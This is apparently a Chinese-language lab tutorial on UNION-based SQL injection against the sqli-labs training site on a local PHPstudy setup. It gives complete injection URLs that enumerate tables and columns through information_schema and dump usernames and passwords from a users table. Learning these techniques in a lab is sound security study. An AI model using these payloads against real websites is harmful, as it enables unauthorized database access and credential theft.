SQL注入之联合型

安装PHP5.5.9,HackBar

1.打开虚拟机win10hei的PHPstudy,启动Apache和Mtsql,在软件管理的php界面下载php5.5.9,
image.png
2.在下图的路径输入cmd,在输入以下命令:

image.png

1
2
3
4
5
mysql  -u root -p
show databases;
use security;
show tables;
select 1,2,3;

Image.png
3.下载火狐插件HackBar 它可以发包。把这个插件安装到浏览器。按键盘上的F12可以唤起它。
image.png
image.png
image.png
4.information_schema是在mysql5.0之后产生的(面试题考点)

SQL联合注入步骤

1
2
3
4
5
6
7
8
9
10
联合(union)的顺序:查表->查字段名->查字段

SQL查表
select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database();-- -

SQL查字段名
select 1,group_concat(column_name) ,3 from information_schema.columns where table_name='users' and table_schema=database();-- -

SQL查字段
select group_concat(id,"~",username,"~",password) from users ;-- - //这三条语句必记

1.把sqli文件复制到phpstudy的根目录下,使用php5.5.9,打开网站,点击sqli,进入第一关
image.png
2.格式:本地地址或虚拟机地址/sqli/Less-1/?id=x union xxxxxxxxxxxxxxxx – -
注意:x的值为-1或0 – -为SQL的注释
3.先判断是否闭合,输入?id=1 再点击Excute发包。
image.png
4.然后在1后面加 ‘ 发现报错,如图,有5个分号,1和5抵消,2和3抵消,剩下4,说明没有闭合,1’就是我们要找的。
image.png
5.其次,开始查表,把1改成0,在0’后面加一个空格,然后加union ,在union后面加查表语句 select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database(); 这条语句后要加 – - 将后面的内容注释掉。
最终语句为
[http://localhost/sqli/Less-1/?id=0'](http://localhost/sqli/Less-1/?id=0') union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database();-- -

image.png
6.查字段名,把原来语句的基础上,把查表语句改成查字段语句,然后加上– -
[http://localhost/sqli/Less-1/?id=0'](http://localhost/sqli/Less-1/?id=0') union select 1,group_concat(column_name) ,3 from information_schema.columns where table_name='users' and table_schema=database();-- -

image.png
7.最后查字段,把原来语句的基础上,把查字段名语句改成查字段语句,在 group_concat(id,”“,username,”“,password)的group前加上 1, 在password)后面加 ,3 最后再完整语句后加上– -
[http://localhost/sqli/Less-1/?id=0'](http://localhost/sqli/Less-1/?id=0') union select 1, group_concat(id,"~",username,"~",password),3 from users ;-- -

8.最终得到我们想要的整列的username和整列的password
Image.png

Contents
  1. 1. 安装PHP5.5.9,HackBar
  2. 2. SQL联合注入步骤
|